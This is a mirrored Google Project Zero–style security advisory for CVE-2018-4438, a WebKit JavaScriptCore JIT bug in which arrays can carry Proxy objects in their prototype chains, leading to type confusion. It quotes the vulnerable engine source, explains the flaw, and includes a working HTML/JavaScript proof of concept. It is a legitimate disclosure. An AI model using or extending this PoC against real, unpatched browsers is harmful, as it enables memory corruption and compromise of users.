Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:150746
HistoryDec 12, 2018 - 12:00 a.m.

WebKit JIT Proxy Object Issue

2018-12-1200:00:00
Google Security Research
packetstormsecurity.com
66

0.631 Medium

EPSS

Percentile

97.5%

`WebKit: JIT: Int32/Double arrays can have Proxy objects in the prototype chains   
  
CVE-2018-4438  
  
  
Bug:  
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)  
{  
ASSERT(prototype);  
if (prototype.isObject())  
prototype.asCell()->didBecomePrototype();  
  
if (structure(vm)->hasMonoProto()) {  
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));  
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);  
setStructure(vm, newStructure);  
} else  
putDirect(vm, knownPolyProtoOffset, prototype);  
  
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))  
return;  
  
if (mayBePrototype()) {  
structure(vm)->globalObject()->haveABadTime(vm);  
return;  
}  
  
if (!hasIndexedProperties(indexingType()))  
return;  
  
if (shouldUseSlowPut(indexingType()))  
return;  
  
switchToSlowPutArrayStorage(vm);  
}  
  
JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain.   
  
Exploit:  
case HasIndexedProperty: {  
ArrayMode mode = node->arrayMode();  
  
switch (mode.type()) {  
case Array::Int32:  
case Array::Double:  
case Array::Contiguous:  
case Array::ArrayStorage: {  
break;  
}  
default: {  
clobberWorld();  
break;  
}  
}  
setNonCellTypeForNode(node, SpecBoolean);  
break;  
}  
  
From: <a href="https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481" title="" class="" rel="nofollow">https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481</a>  
  
The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable to lead to type confusion.  
  
PoC:  
<body>  
<script>  
  
function opt(arr, arr2) {  
arr[1] = 1.1;  
  
let tmp = 0 in arr2;  
  
arr[0] = 2.3023e-320;  
  
return tmp;  
}  
  
function main() {  
let o = document.body.appendChild(document.createElement('iframe')).contentWindow;  
  
// haveABadTime  
o.eval(`  
let p = new Proxy({}, {});  
let a = {__proto__: {}};  
a.__proto__.__proto__ = p;  
`);  
  
let arr = [1.1, 2.2];  
let arr2 = [1.1, 2.2];  
  
let proto = new o.Object();  
let handler = {};  
  
arr2.__proto__ = proto;  
proto.__proto__ = new Proxy({}, {  
has() {  
arr[0] = {};  
  
return true;  
}  
});  
  
for (let i = 0; i < 10000; i++) {  
opt(arr, arr2);  
}  
  
setTimeout(() => {  
delete arr2[0];  
  
opt(arr, arr2);  
  
alert(arr[0]);  
}, 500);  
}  
  
main();  
  
</script>  
</body>  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`